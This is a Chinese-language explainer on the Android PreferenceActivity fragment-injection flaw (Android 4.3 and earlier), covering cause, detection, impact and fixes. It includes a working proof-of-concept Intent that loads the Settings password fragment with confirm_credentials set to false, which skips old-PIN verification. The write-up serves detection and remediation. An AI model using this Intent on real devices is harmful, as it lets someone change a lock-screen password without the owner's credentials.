1、漏洞原理
- 攻击原理:导出的
PreferenceActivity
的子类中,没有加入isValidFragment
方法,进行fragment名的合法性校验,攻击者可能会通过设置Intent
的extra
,实现动态修改PreferenceActivity
的初次显示的Fragment
,来绕过限制,访问未授权的界面。 - 攻击条件:Android4.3及之前版本
2、相关知识
-
PreferenceActivity两个重要的Intent Extra
这两个参数可以决定当前的PreferenceActivity首次显示的Fragment。
-
extra域包含PreferenceActivity要动态加载的Fragment
EXTRA_SHOW_FRAGMENT=":android:show_fragment"
-
extra域包含传给该Fragment的参数
EXTRA_SHOW_FRAGMENT_ARGUMENTS=":android:show_fragment_args"
-
-
Fragment与Activity的关系
- 一个activity提供一个单一的屏幕和一些功能,一个activity可以包含多个fragment
- fragment可以在不同的activities中重用
3、检测方法
先反编译,检索到继承PreferenceActivity
的子类,查看子类是否重写了isValidFragment
方法,Activity是否对外暴露(exported)。
4、漏洞危害
绕过限制,访问未授权页面。
【漏洞示例1——Setting Fragment Inject漏洞:绕过旧密码验证修改密码】
Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:
Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,null, null);
}
} else {
mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
final String state = savedInstanceState.getString(KEY_UI_STAGE);
if (state != null) {
mUiStage = Stage.valueOf(state);
updateStage(mUiStage);
}
}
如果传入的参数当中,key为"confirm_credentials"为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:
Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);
startActivity(intent);
正常的密码修改流程是"设置"->“安全”->“屏幕锁定”->“确认你的PIN”,现在可以跳过“确认你的PIN”直接进入“选择你的PIN”页面。
5、修复方案
- 1-如果应用的Activity组件不必要导出,或者组件配置了
intent filter
标签,建议显示设置组件的“android:exported”
属性为false
; - 重写继承子类的isValidFragment方法,验证Fragment来源的正确性。